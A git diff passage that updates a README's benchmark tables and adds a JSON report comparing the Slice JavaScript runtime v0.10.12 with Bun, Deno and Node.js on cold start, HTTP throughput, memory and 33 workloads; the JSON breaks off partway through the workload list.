33 Production Workloads:** Beats **Deno (`v2.9.8`)** on **33/33**, **Node.js (`v27.0.0-alpha.0.0.0`)** on **33/33**, **Bun (`v1.4.4`)** on **29/33** cold one-shot, and **all 3 runtimes on 33/33 workloads in `--warm` pooled execution**. #### 1. Core Architecture, HTTP Throughput & 1,000-Tenant MicroVM Density | Metric | Slice (`v0.10.12` `SLICEBC\x01`) | Bun (`v1.4.4`) | Deno (`v2.9.8`) | Node.js (`v27.0.0-alpha.0.0.0`) | Slice Advantage | | :--- | :---: | :---: | :---: | :---: | :--- | -| **In-Process Isolate Cold Start (`P50` / `P99`)** | **`1.02 us` / `4.27 us`** | N/A (Process/VM) | N/A (Process/VM) | N/A (Process/VM) | **~120,000x faster than 125ms Firecracker VM** | -| **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.74 ms` (`9.82 MB` RSS)** | > 5,000 ms | > 15,000 ms | > 30,000 ms | **> 3,900x faster / ~32,000x denser** | +| **In-Process Isolate Cold Start (`P50` / `P99`)** | **`1.24 us` / `2.10 us`** | N/A (Process/VM) | N/A (Process/VM) | N/A (Process/VM) | **~120,000x faster than 125ms Firecracker VM** | +| **1,000-Tenant MicroVM Swarm (Boot + Exec)** | **`1.50 ms` (`19.69 MB` RSS)** | > 5,000 ms | > 15,000 ms | > 30,000 ms | **> 3,900x faster / ~32,000x denser** | | **500-Module Monorepo Cold Boot (`stat()` Calls)** | **`3.41 ms` (`0 stat()`)** | `12.72 ms` (`500+ stat`) | `41.80 ms` (`500+ stat`) | `70.38 ms` (`1,500+ stat`) | **`3.7x` faster than Bun / `20.6x` Node.js** | -| **HTTP/1.1 Keep-Alive Throughput (`16k` Reqs)** | **`154,794 req/s`** (Tier-0)
**`147,564 req/s`** (Tier-1) | `100,562 req/s` | `99,082 req/s` | `56,447 req/s` | **`1.54x` (`Tier-0`) / `1.47x` (`Tier-1`) vs `Bun.serve`** | -| **Peak Process Memory (`Max RSS` Across Suite)** | **`13.45 - 21.63 MB`** | `26.13 - 40.25 MB` | `45.69 - 62.38 MB` | `70.15 - 93.00 MB` | **`1.5x-2.4x` less than Bun / `3.9x-6.8x` less than Node** | +| **HTTP/1.1 Keep-Alive Throughput (`16k` Reqs)** | **`148,865 req/s`** (Tier-0)
**`154,737 req/s`** (Tier-1) | `96,712 req/s` | `100,758 req/s` | `57,158 req/s` | **`1.54x` (`Tier-0`) / `1.60x` (`Tier-1`) vs `Bun.serve`** | +| **Peak Process Memory (`Max RSS` Across Suite)** | **`13.75 - 22.13 MB`** | `25.85 - 40.88 MB` | `45.71 - 62.29 MB` | `69.90 - 93.50 MB` | **`1.5x-2.4x` less than Bun / `3.9x-6.8x` less than Node** | | **Multi-Tenant Security Containment** | **`5 / 5 PASS`** (OCap+SES+Fuel+DLP) | `0 / 5` (Ambient) | `2 / 5` (Coarse CLI) | `0 / 5` (Ambient) | **Hardware & Language Zero-Trust Isolation** | #### 2. Real-Life Workload Summary by Domain (All 33 Workloads Aggregated) | Workload Domain & Stack Coverage | Suites | Slice Cold `.cas` Avg (Range) | Slice Warm (`--warm`) Avg | Bun `v1.4.4` Avg | Deno `v2.9.8` Avg | Node.js `v27.0.0-alpha.0.0.0` Avg | Category Speedup vs Bun / Node.js | | :--- | :---: | :---: | :---: | :---: | :---: | :---: | :--- | -| **Core Edge, Auth & Crypto (`Apps 01, 04, 05, 16`)**
Multi-file TS, SHA-256/HMAC, JWT/OAuth2, `.env` Auto-DLP | `4` | **`7.84 ms`** (`6.28-10.07 ms`) | **`2.17 ms`** | `14.52 ms` | `42.60 ms` | `62.07 ms` | **`1.85x Bun` (`6.69x` Warm) / `7.92x Node`** | -| **NPM Ecosystem, AST & Disk I/O (`Apps 02, 03, 06, 07, 08, 20`)**
`semver`, `flatted`, `dlv`/`dset`, `mitt`, 10-Shard JSONL I/O, `Buffer` | `6` | **`10.94 ms`** (`7.25-14.23 ms`) | **`3.16 ms`** | `17.64 ms` | `48.12 ms` | `65.89 ms` | **`1.61x Bun` (`5.59x` Warm) / `6.02x Node`** | -| **WinterTC Web Standards, Fetch Mesh & DLP (`Apps 09-14, 17-19`)**
`Request`/`Response`, Static CDN `304`, SSE, Live `fetch`, WebCrypto | `9` | **`15.45 ms`** (`8.12-29.33 ms`) | **`7.31 ms`** | `18.48 ms` | `52.47 ms` | `93.96 ms` | **`1.20x Bun` (`2.53x` Warm) / `6.08x Node`** | -| **Realtime WebSockets, Workers & Wasm/TSX (`Apps 15, 21-24`)**
RFC 6455 WS, `worker_threads` + TCP/UDP, Pure-Rust `wasmi` Wasm, TSX SSR | `5` | **`14.25 ms`** (`8.72-20.99 ms`) | **`2.48 ms`** | `28.68 ms` | `62.87 ms` | `86.44 ms` | **`2.01x Bun` (`11.57x` Warm) / `6.07x Node`** | -| **Full-Stack Edge & Node Frameworks (`FW 01-04`)**
`Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http`, `SvelteKit 3.1.1 + Svelte 5.57.3` | `4` | **`20.74 ms`** (`14.65-34.19 ms`) | **`7.47 ms`** | `29.22 ms` | `54.14 ms` | `93.40 ms` | **`1.41x Bun` (`3.91x` Warm) / `4.50x Node`** | -| **AI Agent, Multi-Tenant SaaS & Chaos Case Studies (`CS 01-05`)**
Depth-4 ToT Agent, MCP Code Mode, 12-Tenant Mesh, Wasm CDR, 48 Payment Sagas | `5` | **`21.17 ms`** (`13.17-34.84 ms`) | **`6.27 ms`** | `20.96 ms` | `56.54 ms` | `80.98 ms` | **`0.99x Bun` (`3.34x` Warm) / `3.82x Node`** | +| **Core Edge, Auth & Crypto (`Apps 01, 04, 05, 16`)**
Multi-file TS, SHA-256/HMAC, JWT/OAuth2, `.env` Auto-DLP | `4` | **`7.89 ms`** (`6.20-10.29 ms`) | **`2.27 ms`** | `14.59 ms` | `42.57 ms` | `62.64 ms` | **`1.85x Bun` (`6.43x` Warm) / `7.94x Node`** | +| **NPM Ecosystem, AST & Disk I/O (`Apps 02, 03, 06, 07, 08, 20`)**
`semver`, `flatted`, `dlv`/`dset`, `mitt`, 10-Shard JSONL I/O, `Buffer` | `6` | **`10.99 ms`** (`7.20-14.25 ms`) | **`3.13 ms`** | `17.39 ms` | `47.22 ms` | `65.26 ms` | **`1.58x Bun` (`5.56x` Warm) / `5.94x Node`** | +| **WinterTC Web Standards, Fetch Mesh & DLP (`Apps 09-14, 17-19`)**
`Request`/`Response`, Static CDN `304`, SSE, Live `fetch`, WebCrypto | `9` | **`15.80 ms`** (`8.38-29.52 ms`) | **`7.52 ms`** | `18.47 ms` | `52.63 ms` | `96.08 ms` | **`1.17x Bun` (`2.46x` Warm) / `6.08x Node`** | +| **Realtime WebSockets, Workers & Wasm/TSX (`Apps 15, 21-24`)**
RFC 6455 WS, `worker_threads` + TCP/UDP, Pure-Rust `wasmi` Wasm, TSX SSR | `5` | **`14.30 ms`** (`8.68-21.43 ms`) | **`2.51 ms`** | `28.42 ms` | `64.62 ms` | `87.55 ms` | **`1.99x Bun` (`11.32x` Warm) / `6.12x Node`** | +| **Full-Stack Edge & Node Frameworks (`FW 01-04`)**
`Hono v4.6.20`, `itty-router + UnJS Nitro`, `Express/Polka node:http`, `SvelteKit 3.1.1 + Svelte 5.57.3` | `4` | **`21.14 ms`** (`15.85-33.50 ms`) | **`7.55 ms`** | `31.46 ms` | `56.70 ms` | `94.88 ms` | **`1.49x Bun` (`4.17x` Warm) / `4.49x Node`** | +| **AI Agent, Multi-Tenant SaaS & Chaos Case Studies (`CS 01-05`)**
Depth-4 ToT Agent, MCP Code Mode, 12-Tenant Mesh, Wasm CDR, 48 Payment Sagas | `5` | **`20.82 ms`** (`13.72-33.66 ms`) | **`6.42 ms`** | `19.96 ms` | `54.35 ms` | `78.70 ms` | **`0.96x Bun` (`3.11x` Warm) / `3.78x Node`** | #### 3. Flagship Real-World Representative Workloads (9 of 33 Highlights) | # | Flagship Workload | Slice Cold `.cas` | Slice Warm (`--warm`) | Bun `v1.4.4` | Deno `v2.9.8` | Node.js `v27.0.0-alpha.0.0.0` | Speedup vs Bun / Node.js | | :- | :--- | :---: | :---: | :---: | :---: | :---: | :--- | -| **01** | `01-fintech-checkout` (Multi-File TS + SHA-256) | **`6.28 ms`** | **`1.05 ms`** | `13.38 ms` | `35.22 ms` | `58.45 ms` | **`2.13x Bun` (`12.74x` Warm) / `9.31x Node`** | -| **03** | `03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O) | **`7.25 ms`** | **`1.29 ms`** | `14.08 ms` | `43.23 ms` | `61.79 ms` | **`1.94x Bun` (`10.92x` Warm) / `8.52x Node`** | -| **14** | `14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`) | **`15.83 ms`** | **`6.70 ms`** | `21.20 ms` | `56.40 ms` | `108.62 ms` | **`1.34x Bun` (`3.17x` Warm) / `6.86x Node`** | -| **20** | `20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler) | **`11.26 ms`** | **`0.50 ms`** | `25.08 ms` | `55.78 ms` | `73.35 ms` | **`2.23x Bun` (`50.56x` Warm) / `6.51x Node`** | -| **22** | `22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec) | **`20.99 ms`** | **`1.74 ms`** | `57.15 ms` | `114.02 ms` | `101.72 ms` | **`2.72x Bun` (`32.86x` Warm) / `4.85x Node`** | -| **FW-01** | `FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`) | **`14.65 ms`** | **`5.59 ms`** | `19.86 ms` | `51.15 ms` | `94.15 ms` | **`1.36x Bun` (`3.55x` Warm) / `6.43x Node`** | -| **FW-04** | `FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`) | **`34.37 ms`** | **`14.26 ms`** | `43.71 ms` | `68.04 ms` | `108.54 ms` | **`1.28x Bun` (`3.07x` Warm) / `3.17x Node`** | -| **CS-01** | `CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes) | **`34.84 ms`** | **`12.99 ms`** | `28.86 ms` | `73.55 ms` | `91.05 ms` | **`0.83x Bun` (`2.22x` Warm) / `2.61x Node`** | -| **CS-05** | `CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas) | **`18.14 ms`** | **`8.32 ms`** | `21.10 ms` | `65.54 ms` | `86.65 ms` | **`1.16x Bun` (`2.54x` Warm) / `4.78x Node`** | +| **01** | `01-fintech-checkout` (Multi-File TS + SHA-256) | **`6.20 ms`** | **`1.10 ms`** | `13.35 ms` | `35.66 ms` | `59.81 ms` | **`2.15x Bun` (`12.13x` Warm) / `9.65x Node`** | +| **03** | `03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O) | **`7.20 ms`** | **`1.38 ms`** | `14.56 ms` | `44.02 ms` | `60.87 ms` | **`2.02x Bun` (`10.57x` Warm) / `8.46x Node`** | +| **14** | `14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`) | **`15.60 ms`** | **`7.08 ms`** | `20.77 ms` | `51.56 ms` | `107.86 ms` | **`1.33x Bun` (`2.93x` Warm) / `6.91x Node`** | +| **20** | `20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler) | **`10.83 ms`** | **`0.48 ms`** | `22.62 ms` | `53.73 ms` | `73.69 ms` | **`2.09x Bun` (`46.74x` Warm) / `6.80x Node`** | +| **22** | `22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec) | **`21.43 ms`** | **`1.74 ms`** | `56.81 ms` | `115.28 ms` | `106.59 ms` | **`2.65x Bun` (`32.71x` Warm) / `4.97x Node`** | +| **FW-01** | `FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`) | **`16.17 ms`** | **`5.59 ms`** | `19.64 ms` | `53.18 ms` | `96.15 ms` | **`1.24x Bun` (`3.51x` Warm) / `6.07x Node`** | +| **FW-04** | `FW-04: frameworks/04-sveltekit-edge-ssr` (`@sveltejs/kit@3.1.1` + `svelte@5.57.3` + `devalue@6.0.3`) | **`33.50 ms`** | **`14.70 ms`** | `51.40 ms` | `74.88 ms` | `113.30 ms` | **`1.53x Bun` (`3.50x` Warm) / `3.38x Node`** | +| **CS-01** | `CS-01: case_studies/01-tot-autonomous-sre-agent` (20 ToT Sandboxes) | **`33.66 ms`** | **`13.08 ms`** | `27.98 ms` | `72.01 ms` | `88.02 ms` | **`0.83x Bun` (`2.14x` Warm) / `2.62x Node`** | +| **CS-05** | `CS-05: case_studies/05-time-travel-chaos-fuzzer-payments` (48 Payment Sagas) | **`17.56 ms`** | **`8.52 ms`** | `20.04 ms` | `63.78 ms` | `82.76 ms` | **`1.14x Bun` (`2.35x` Warm) / `4.71x Node`** | *Full 33-workload latency breakdown, standalone binary metrics, peak RSS per app, and historical reports: **[`tests/reports/latest.md`](./reports/latest.md)**.* diff --git a/tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.json b/tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.json new file mode 100644 index 0000000..2f2d3b6 --- /dev/null +++ b/tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.json @@ -0,0 +1,789 @@ +{ + "metadata": { + "version": "0.10.12", + "commit": "4c5089a", + "timestampUtc": "2026-11-12T02:06:39Z", + "environment": "Linux x86_64 Docker (io_uring SQPOLL + WRPKRU)", + "runtimes": { + "slice": "v0.10.12", + "bun": "v1.4.4", + "deno": "v2.9.8", + "node": "v27.0.0-alpha.0.0.0" + }, + "archiveFile": "tests/reports/bench_v0.10.12_20261112_020639Z_4c5089a.md", + "latestFile": "tests/reports/latest.md" + }, + "microvm": { + "linux": { + "coldMinUs": 0.94, + "coldP50Us": 1.24, + "coldP99Us": 2.1, + "swarm1000Ms": 1.5, + "swarm1000RssMb": 19.69, + "cas500ColdMs": 3.408, + "cas500MemUs": 409.31, + "ringIo10kMs": 0.02 + }, + "windows": { + "coldMinUs": 1.4, + "coldP50Us": 1.6, + "coldP99Us": 2.3, + "swarm1000Ms": 2.24, + "swarm1000RssMb": 11.82, + "cas500ColdMs": 5.637, + "cas500MemUs": 640, + "ringIo10kMs": 5.11 + } + }, + "httpKeepAlive": { + "sliceTier0": { + "rps": 148865, + "avgUs": 6.72, + "totalMs": 107.5 + }, + "sliceTier1": { + "rps": 154737, + "avgUs": 6.46, + "totalMs": 103.4 + }, + "deno": { + "rps": 100758, + "avgUs": 9.92, + "totalMs": 158.8 + }, + "bun": { + "rps": 96712, + "avgUs": 10.34, + "totalMs": 165.4 + }, + "node": { + "rps": 57158, + "avgUs": 17.5, + "totalMs": 279.9 + } + }, + "primitives": { + "kv1001Us": 572.39, + "kvMemBytes": 8431, + "tot3SandboxesUs": 42.56, + "totSingleSandboxUs": 1.799 + }, + "workloads": [ + { + "num": 1, + "code": "01", + "id": "01-fintech-checkout", + "label": "`01-fintech-checkout` (Multi-File TS + SHA-256)", + "category": "core_edge_crypto", + "flagship": true, + "sliceCasMinMs": 5.813, + "sliceCasAvgMs": 6.197, + "sliceBinMinMs": 6.308, + "sliceBinAvgMs": 6.734, + "sliceSrcAvgMs": 17.054, + "sliceWarmMs": 1.1, + "prevSliceCasAvgMs": 6.278, + "bunAvgMs": 13.348, + "denoAvgMs": 35.658, + "nodeAvgMs": 59.811 + }, + { + "num": 2, + "code": "02", + "id": "02-npm-ecosystem-suite", + "label": "`02-npm-ecosystem-suite` (`semver` + `ms` + `ini`)", + "category": "npm_ast_disk", + "flagship": false, + "sliceCasMinMs": 13.341, + "sliceCasAvgMs": 14.246, + "sliceBinMinMs": 13.692, + "sliceBinAvgMs": 14.914, + "sliceSrcAvgMs": 36.747, + "sliceWarmMs": 3.899, + "prevSliceCasAvgMs": 14.228, + "bunAvgMs": 20.988, + "denoAvgMs": 52.586, + "nodeAvgMs": 69.87 + }, + { + "num": 3, + "code": "03", + "id": "03-disk-io-log-pipeline", + "label": "`03-disk-io-log-pipeline` (10 JSONL Shards Disk I/O)", + "category": "npm_ast_disk", + "flagship": true, + "sliceCasMinMs": 6.623, + "sliceCasAvgMs": 7.197, + "sliceBinMinMs": 7.235, + "sliceBinAvgMs": 7.838, + "sliceSrcAvgMs": 27.423, + "sliceWarmMs": 1.378, + "prevSliceCasAvgMs": 7.25, + "bunAvgMs": 14.561, + "denoAvgMs": 44.015, + "nodeAvgMs": 60.874 + }, + { + "num": 4, + "code": "04", + "id": "04-edge-api-gateway", + "label": "`04-edge-api-gateway` (`fast-querystring` + `ms`)", + "category": "core_edge_crypto", + "flagship": false, + "sliceCasMinMs": 6.893, + "sliceCasAvgMs": 7.332, + "sliceBinMinMs": 7.204, + "sliceBinAvgMs": 7.986, + "sliceSrcAvgMs": 21.713, + "sliceWarmMs": 1.738, + "prevSliceCasAvgMs": 7.408, + "bunAvgMs": 15.137, + "denoAvgMs": 47.146, + "nodeAvgMs": 63.466 + }, + { + "num": 5, + "code": "05", + "id": "05-jwt-oauth-session-guard", + "label": "`05-jwt-oauth-session-guard` (`cookie` + `ms` + HMAC)", + "category": "core_edge_crypto", + "flagship": false, + "sliceCasMinMs": 9.827, + "sliceCasAvgMs": 10.285, + "sliceBinMinMs": 10.141, + "sliceBinAvgMs": 10.877, + "sliceSrcAvgMs": 21.579, + "sliceWarmMs": 4.975, + "prevSliceCasAvgMs": 10.074, + "bunAvgMs": 14.983, + "denoAvgMs": 42.265, + "nodeAvgMs": 62.265 + }, + { + "num": 6, + "code": "06", + "id": "06-telemetry-metrics-pipeline", + "label": "`06-telemetry-metrics-pipeline` (`bytes` + `flatted` + WAL)", + "category": "npm_ast_disk", + "flagship": false, + "sliceCasMinMs": 12.451, + "sliceCasAvgMs": 12.826, + "sliceBinMinMs": 12.358, + "sliceBinAvgMs": 13.394, + "sliceSrcAvgMs": 32.429, + "sliceWarmMs": 4.382, + "prevSliceCasAvgMs": 12.738, + "bunAvgMs": 16.89, + "denoAvgMs": 46.254, + "nodeAvgMs": 63.436 + }, + { + "num": 7, + "code": "07", + "id": "07-graphql-ast-validator", + "label": "`07-graphql-ast-validator` (`dlv` + `dset` + AST Cost)", + "category": "npm_ast_disk", + "flagship": false, + "sliceCasMinMs": 8.619, + "sliceCasAvgMs": 10.054, + "sliceBinMinMs": 8.527, + "sliceBinAvgMs": 9.409, + "sliceSrcAvgMs": 20.468, + "sliceWarmMs": 3.865, + "prevSliceCasAvgMs": 8.937, + "bunAvgMs": 13.266, + "denoAvgMs": 40.911, + "nodeAvgMs": 59.861 + }, + { + "num": 8, + "code": "08", + "id": "08-event-driven-state-journal", + "label": "`08-event-driven-state-journal` (`mitt` + `ms` + JSONL Replay)", + "category": "npm_ast_disk", + "flagship": false, + "sliceCasMinMs": 10.808, + "sliceCasAvgMs": 11.443, + "sliceBinMinMs": 11.175, + "sliceBinAvgMs": 12.012, + "sliceSrcAvgMs": 31.533, + "sliceWarmMs": 4.77, + "prevSliceCasAvgMs": 11.229, + "bunAvgMs": 16.013, + "denoAvgMs": 45.838, + "nodeAvgMs": 63.833 + }, + { + "num": 9, + "code": "09", + "id": "09-wintertc-web-router", + "label": "`09-wintertc-web-router` (`Request` + `Response` + `URL`, 80 reqs)", + "category": "wintertc_fetch_dlp", + "flagship": false, + "sliceCasMinMs": 14.79, + "sliceCasAvgMs": 15.519, + "sliceBinMinMs": 15.219, + "sliceBinAvgMs": 16.066, + "sliceSrcAvgMs": 33.826, + "sliceWarmMs": 9.479, + "prevSliceCasAvgMs": 14.771, + "bunAvgMs": 14.539, + "denoAvgMs": 48.802, + "nodeAvgMs": 91.771 + }, + { + "num": 10, + "code": "10", + "id": "10-fullstack-bff-microservice", + "label": "`10-fullstack-bff-microservice` (`cookie` + `dlv` + `ms` + `ETag`, 60 reqs)", + "category": "wintertc_fetch_dlp", + "flagship": false, + "sliceCasMinMs": 12.752, + "sliceCasAvgMs": 13.388, + "sliceBinMinMs": 13.055, + "sliceBinAvgMs": 14.657, + "sliceSrcAvgMs": 33.474, + "sliceWarmMs": 6.545, + "prevSliceCasAvgMs": 12.802, + "bunAvgMs": 14.571, + "denoAvgMs": 51.098, + "nodeAvgMs": 89.527 + }, + { + "num": 11, + "code": "11", + "id": "11-static-asset-cdn-edge", + "label": "`11-static-asset-cdn-edge` (`bytes` + `ms` + `ETag` `304`, 80 reqs)", + "category": "wintertc_fetch_dlp", + "flagship": false, + "sliceCasMinMs": 10.066, + "sliceCasAvgMs": 10.93, + "sliceBinMinMs": 10.559, + "sliceBinAvgMs": 11.212, + "sliceSrcAvgMs": 30.208, + "sliceWarmMs": 3.999, + "prevSliceCasAvgMs": 10.042, + "bunAvgMs": 13.501, + "denoAvgMs": 48.508, + "nodeAvgMs": 91.33 + }, + { + "num": 12, + "code": "12", + "id": "12-ai-sse-token-streamer", + "label": "`12-ai-sse-token-streamer` (`mitt` + `ms` + SSE + DLP, 320 frames)", + "category": "wintertc_fetch_dlp", + "flagship": false, + "sliceCasMinMs": 14.786, + "sliceCasAvgMs": 15.296, + "sliceBinMinMs": 15.272, + "sliceBinAvgMs": 16.165, + "sliceSrcAvgMs": 33.476, + "sliceWarmMs": 6.942, + "prevSliceCasAvgMs": 15.593, + "bunAvgMs": 15.334, + "denoAvgMs": 48.041, + "nodeAvgMs": 89.299 + }, + { + "num": 13, + "code": "13", + "id": "13-webhook-orchestrator-ssrf", + "label": "`13-webhook-orchestrator-ssrf` (`fast-querystring` + `ms` + Live `fetch`)", + "category": "wintertc_fetch_dlp", + "flagship": false, + "sliceCasMinMs": 14.92, + "sliceCasAvgMs": 15.922, + "sliceBinMinMs": 15.228, + "sliceBinAvgMs": 16.213, + "sliceSrcAvgMs": 38.018, + "sliceWarmMs": 7.103, + "prevSliceCasAvgMs": 15.199, + "bunAvgMs": 19.082, + "denoAvgMs": 51.39, + "nodeAvgMs": 112.929 + }, + { + "num": 14, + "code": "14", + "id": "14-federated-api-mesh-dlp", + "label": "`14-federated-api-mesh-dlp` (`bytes` + `dlv` + `dset` + Live `fetch`)", + "category": "wintertc_fetch_dlp", + "flagship": true, + "sliceCasMinMs": 15.011, + "sliceCasAvgMs": 15.601, + "sliceBinMinMs": 15.873, + "sliceBinAvgMs": 16.721, + "sliceSrcAvgMs": 33.724, + "sliceWarmMs": 7.079, + "prevSliceCasAvgMs": 15.828, + "bunAvgMs": 20.766, + "denoAvgMs": 51.558, + "nodeAvgMs": 107.861 + }, + { + "num": 15, + "code": "15", + "id": "15-time-travel-test-suite", + "label": "`15-time-travel-test-suite` (`semver` + `ms` + `dlv` + `dset` + 24 Rollbacks)", + "category": "realtime_workers_wasm", + "flagship": false, + "sliceCasMinMs": 14.332, + "sliceCasAvgMs": 14.828, + "sliceBinMinMs": 14.919, + "sliceBinAvgMs": 16.06, + "sliceSrcAvgMs": 45.502, + "sliceWarmMs": 4.894, + "prevSliceCasAvgMs": 15.273, + "bunAvgMs": 24.396, + "denoAvgMs": 68.179, + "nodeAvgMs": 82.991 + }, + { + "num": 16, + "code": "16", + "id": "16-dotenv-dlp-config-vault", + "label": "`16-dotenv-dlp-config-vault` (`ini` + `cookie` + `bytes` + `.env` Auto-DLP)", + "category": "core_edge_crypto", + "flagship": false, + "sliceCasMinMs": 7.224, + "sliceCasAvgMs": 7.737, + "sliceBinMinMs": 7.626, + "sliceBinAvgMs": 8.257, + "sliceSrcAvgMs": 30.388, + "sliceWarmMs": 1.255, + "prevSliceCasAvgMs": 7.598, + "bunAvgMs": 14.873, + "denoAvgMs": 45.224, + "nodeAvgMs": 65.018 + }, + { + "num": 17, + "code": "17", + "id": "17-zero-trust-redirect-keepalive-mesh", + "label": "`17-zero-trust-redirect-keepalive-mesh` (Keep-Alive/307/SSRF/DLP)", + "category": "wintertc_fetch_dlp", + "flagship": false, + "sliceCasMinMs": 16.797, + "sliceCasAvgMs": 17.608, + "sliceBinMinMs": 17.196, + "sliceBinAvgMs": 18.123, + "sliceSrcAvgMs": 42.279, + "sliceWarmMs": 7.828, + "prevSliceCasAvgMs": 17.333, + "bunAvgMs": 21.856, + "denoAvgMs": 54.487, + "nodeAvgMs": 113.958 + }, + { + "num": 18, + "code": "18", + "id": "18-async-event-loop-fanout-scheduler", + "label": "`18-async-event-loop-fanout-scheduler` (Timer Wheel/`Promise.all`/`AbortSignal`)", + "category": "wintertc_fetch_dlp", + "flagship": false, + "sliceCasMinMs": 28.519, + "sliceCasAvgMs": 29.524, + "sliceBinMinMs": 29.775, + "sliceBinAvgMs": 31.164, + "sliceSrcAvgMs": 44.71, + "sliceWarmMs": 17.348, + "prevSliceCasAvgMs": 29.326, + "bunAvgMs": 32.481, + "denoAvgMs": 70.418, + "nodeAvgMs": 80.512 + }, + { + "num": 19, + "code": "19", + "id": "19-wintertc-webcrypto-streams-edge", + "label": "`19-wintertc-webcrypto-streams-edge` (WebCrypto/Streams/FormData/Clone)", + "category": "wintertc_fetch_dlp", + "flagship": false, + "sliceCasMinMs": 7.732, + "sliceCasAvgMs": 8.378, + "sliceBinMinMs": 8.144, + "sliceBinAvgMs": 8.841, + "sliceSrcAvgMs": 34.449, + "sliceWarmMs": 1.322, + "prevSliceCasAvgMs": 8.118, + "bunAvgMs": 14.097, + "denoAvgMs": 49.351, + "nodeAvgMs": 87.562 + }, + { + "num": 20, + "code": "20", + "id": "20-node-compat-and-edge-router", + "label": "`20-node-compat-and-edge-router` (`Uint8Array` `Buffer`/Node Core/AST Bundler)", + "category": "npm_ast_disk", + "flagship": true, + "sliceCasMinMs": 10.393, + "sliceCasAvgMs": 10.83, + "sliceBinMinMs": 10.752, + "sliceBinAvgMs": 11.733, + "sliceSrcAvgMs": 44.739, + "sliceWarmMs": 0.484, + "prevSliceCasAvgMs": 11.261, + "bunAvgMs": 22.621, + "denoAvgMs": 53.734, + "nodeAvgMs": 73.692 + }, + { + "num": 21, + "code": "21", + "id": "21-websocket-realtime-and-security-guard", + "label": "`21-websocket-realtime-and-security-guard` (RFC 6455 `WebSocket` + 5-Ring Guard)", + "category": "realtime_workers_wasm", + "flagship": false, + "sliceCasMinMs": 10.453, + "sliceCasAvgMs": 11.083, + "sliceBinMinMs": 10.869, + "sliceBinAvgMs": 12.066, + "sliceSrcAvgMs": 44.979, + "sliceWarmMs": 2.333, + "prevSliceCasAvgMs": 10.714, + "bunAvgMs": 21.35, + "denoAvgMs": 53.525, + "nodeAvgMs": 120.536 + }, + { + "num": 22, + "code": "22", + "id": "22-worker-threads-and-raw-sockets", + "label": "`22-worker-threads-and-raw-sockets` (3 Worker Threads + TCP/UDP + 5-Ring Sec)", + "category": "realtime_workers_wasm", + "flagship": true, + "sliceCasMinMs": 20.087, + "sliceCasAvgMs": 21.431, + "sliceBinMinMs": 20.533, + "sliceBinAvgMs": 22.212, + "sliceSrcAvgMs": 38.088, + "sliceWarmMs": 1.737, + "prevSliceCasAvgMs": 20.988, + "bunAvgMs": 56.813, + "denoAvgMs": 115.28, + "nodeAvgMs": 106.594 + }, + { + "num": 23, + "code": "23", + "id": "23-wasm-crypto-and-simd-kernel", + "label": "`23-wasm-crypto-and-simd-kernel` (Pure-Rust `WebAssembly` + 5-Ring WASM Sec)", + "category": "realtime_workers_wasm", + "flagship": false, + "sliceCasMinMs": 14.77, + "sliceCasAvgMs": 15.455, + "sliceBinMinMs": 15.658, + "sliceBinAvgMs": 16.445, + "sliceSrcAvgMs": 25.029, + "sliceWarmMs": 1.856, + "prevSliceCasAvgMs": 15.548, + "bunAvgMs": 21.122, + "denoAvgMs": 42.013, + "nodeAvgMs": 59.8 + }, + { + "num": 24, + "code": "24", + "id": "24-tsx-ssr-and-wasm-edge-pipeline", + "label": "`24-tsx-ssr-and-wasm-edge-pipeline` (`WebAssembly` SLA Scorer + SSR Pipeline)", + "category": "realtime_workers_wasm", + "flagship": false, + "sliceCasMinMs": 8.112, + "sliceCasAvgMs": 8.681, + "sliceBinMinMs": 8.807, + "sliceBinAvgMs": 9.56, + "sliceSrcAvgMs": 29.665, + "sliceWarmMs": 1.73, + "prevSliceCasAvgMs": 8.719, + "bunAvgMs": 18.43, + "denoAvgMs": 44.119, + "nodeAvgMs": 67.854 + }, + { + "num": 25, + "code": "FW-01", + "id": "frameworks/01-hono-edge-microservice", + "label": "`FW-01: frameworks/01-hono-edge-microservice` (`hono@4.6.20` + `hono/cookie` + `ms`)", + "category": "frameworks", + "flagship": true, + "sliceCasMinMs": 14.99, + "sliceCasAvgMs": 16.171, + "sliceBinMinMs": 14.997, + "sliceBinAvgMs": 15.851, + "sliceSrcAvgMs": 55.53, + "sliceWarmMs": 5.59, + "prevSliceCasAvgMs": 14.653, + "bunAvgMs": 19.635, + "denoAvgMs": 53.182, + "nodeAvgMs": 96.148 + }, + { + "num": 26, + "code": "FW-02", + "id": "frameworks/02-itty-router-unjs-nitro-stack", + "label": "`FW-02: frameworks/02-itty-router-unjs-nitro-stack` (`itty-router` + UnJS)", + "category": "frameworks", + "flagship": false, + "sliceCasMinMs": 16.618, + "sliceCasAvgMs": 17.377, + "sliceBinMinMs": 17.135, + "sliceBinAvgMs": 18.091, + "sliceSrcAvgMs": 48.888, + "sliceWarmMs": 8.9, + "prevSliceCasAvgMs": 17.364, + "bunAvgMs": 19.125, + "denoAvgMs": 46.091, + "nodeAvgMs": 86.328 + }, + { + "num": 32, + "code": "FW-03", + "id": "frameworks/03-node-http-express-compat", + "label": "`FW-03: frameworks/03-node-http-express-compat` (`node:http` + `node:stream` Express/Polka)", + "category": "frameworks", + "flagship": false, + "sliceCasMinMs": 16.524, + "sliceCasAvgMs": 17.811, + "sliceBinMinMs": 17.1, + "sliceBinAvgMs": 18.809, + 